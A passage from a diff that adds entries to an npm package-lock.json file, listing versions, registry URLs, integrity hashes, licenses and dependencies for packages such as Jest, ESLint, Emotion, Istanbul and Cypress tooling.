"webpack-merge": "^5.4.0" + }, + "peerDependencies": { + "html-webpack-plugin": ">=4", + "webpack": ">=4", + "webpack-dev-server": ">=3.0.0" + } + }, + "node_modules/@cypress/webpack-dev-server/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "dev": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@cypress/xvfb": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@cypress/xvfb/-/xvfb-1.2.4.tgz", + "integrity": "sha512-skbBzPggOVYCbnGgV+0dmBdW/s77ZkAOXIC1knS8NagwDjBrNC1LuXtQJeiN6l+m7lzmHtaoUw/ctJKdqkG57Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^3.1.0", + "lodash.once": "^4.1.1" + } + }, + "node_modules/@cypress/xvfb/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/@egjs/hammerjs": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", + "integrity": "sha512-XQsZgjm2EcVUiZQf11UBJQfmZeEmOW8DpI1gsFeln6w0ae0ii4dMQEQ0kjl6DspdWX1aGY1/loyXnP0JS06e/A==", + "license": "MIT", + "dependencies": { + "@types/hammerjs": "^2.0.36" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@emotion/hash": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.8.0.tgz", + "integrity": "sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==", + "license": "MIT" + }, + "node_modules/@emotion/is-prop-valid": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@emotion/is-prop-valid/-/is-prop-valid-1.1.3.tgz", + "integrity": "sha512-RFg04p6C+1uO19uG8N+vqanzKqiM9eeV1LDOG3bmkYmuOj7NbKNlFC/4EZq5gnwAIlcC/jOT24f8Td0iax2SXA==", + "license": "MIT", + "dependencies": { + "@emotion/memoize": "^0.7.4" + } + }, + "node_modules/@emotion/memoize": { + "version": "0.7.5", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.5.tgz", + "integrity": "sha512-igX9a37DR2ZPGYtV6suZ6whr8pTFtyHL3K/oLUotxpSVO2ASaprmAe2Dkq7tBo7CRY7MMDrAa9nuQP9/YG8FxQ==", + "license": "MIT" + }, + "node_modules/@emotion/stylis": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.5.tgz", + "integrity": "sha512-h6KtPihKFn3T9fuIrwvXXUOwlx3rfUvfZIcP5a6rh8Y7zjE3O06hT5Ss4S/YI1AYhuZ1kjaE/5EaOOI2NqSylQ==", + "license": "MIT" + }, + "node_modules/@emotion/unitless": { + "version": "0.7.5", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.5.tgz", + "integrity": "sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==", + "license": "MIT" + }, + "node_modules/@eslint/eslintrc": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.3.0.tgz", + "integrity": "sha512-UWW0TMTmk2d7hLcWD1/e2g5HDM/HQ3csaLSqXCfqwh4uNDuNqlaKWXmEsL4Cs41Z0KnILNvwbHAah3C2yt06kw==", + "license": "MIT", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.3.2", + "globals": "^13.15.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "13.16.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.16.0.tgz", + "integrity": "sha512-A1lrQfpNF+McdPOnnFqY3kSN0AFTy485bTi1bkLk4mVPODIUEcSfhHgRqA+QdXPksrSTTztYXx37NFV+GpGk3Q==", + "license": "MIT", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/eslintrc/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@hapi/topo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.9.5", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.9.5.tgz", + "integrity": "sha512-ObyMyWxZiCu/yTisA7uzx81s40xR2fD5Cg/2Kq7G02ajkNubJf6BopgDTmDyc3U7sXpNKM8cYOw7s7Tyr+DnCw==", + "deprecated": "Use @eslint/config-array instead", + "license": "Apache-2.0", + "dependencies": { + "@humanwhocodes/object-schema": "^1.2.1", + "debug": "^4.1.1", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "deprecated": "Use @eslint/object-schema instead", + "license": "BSD-3-Clause" + }, + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "license": "ISC", + "dependencies": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "license": "MIT", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "license": "MIT", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "license": "MIT", + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "license": "MIT", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "license": "MIT", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.5.1.tgz", + "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/console/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/console/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/console/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/console/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/@jest/console/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/core": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.5.1.tgz", + "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==", + "license": "MIT", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/reporters": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-changed-files": "^27.5.1", + "jest-config": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-resolve-dependencies": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "jest-watcher": "^27.5.1", + "micromatch": "^4.0.4", + "rimraf": "^3.0.0", + "slash": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/core/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/core/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/core/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/core/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/@jest/core/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/core/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/environment": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.5.1.tgz", + "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==", + "license": "MIT", + "dependencies": { + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/fake-timers": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.5.1.tgz", + "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@sinonjs/fake-timers": "^8.0.1", + "@types/node": "*", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/globals": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.5.1.tgz", + "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==", + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/types": "^27.5.1", + "expect": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/reporters": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.5.1.tgz", + "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==", + "license": "MIT", + "dependencies": { + "@bcoe/v8-coverage": "^0.2.3", + "@jest/console": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "collect-v8-coverage": "^1.0.0", + "exit": "^0.1.2", + "glob": "^7.1.2", + "graceful-fs": "^4.2.9", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-instrument": "^5.1.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.0", + "istanbul-reports": "^3.1.3", + "jest-haste-map": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "slash": "^3.0.0", + "source-map": "^0.6.0", + "string-length": "^4.0.1", + "terminal-link": "^2.0.0", + "v8-to-istanbul": "^8.1.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/reporters/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/reporters/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/reporters/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/reporters/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/@jest/reporters/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/reporters/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/schemas": { + "version": "28.0.2", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-28.0.2.tgz", + "integrity": "sha512-YVDJZjd4izeTDkij00vHHAymNXQ6WWsdChFRK86qck6Jpr3DCL5W3Is3vslviRlP+bLuMYRLbdp98amMvqudhA==", + "license": "MIT", + "dependencies": { + "@sinclair/typebox": "^0.23.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/@jest/source-map": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.5.1.tgz", + "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==", + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0", + "graceful-fs": "^4.2.9", + "source-map": "^0.6.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/test-result": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.5.1.tgz", + "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==", + "license": "MIT", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/test-sequencer": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz", + "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==", + "license": "MIT", + "dependencies": { + "@jest/test-result": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-runtime": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.5.1.tgz", + "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.1.0", + "@jest/types": "^27.5.1", + "babel-plugin-istanbul": "^6.1.1", + "chalk": "^4.0.0", + "convert-source-map": "^1.4.0", + "fast-json-stable-stringify": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-util": "^27.5.1", + "micromatch": "^4.0.4", + "pirates": "^4.0.4", + "slash": "^3.0.0", + "source-map": "^0.6.1", + "write-file-atomic": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/transform/node_modules/chalk": { + "version": "4.1.2", + "resolved": 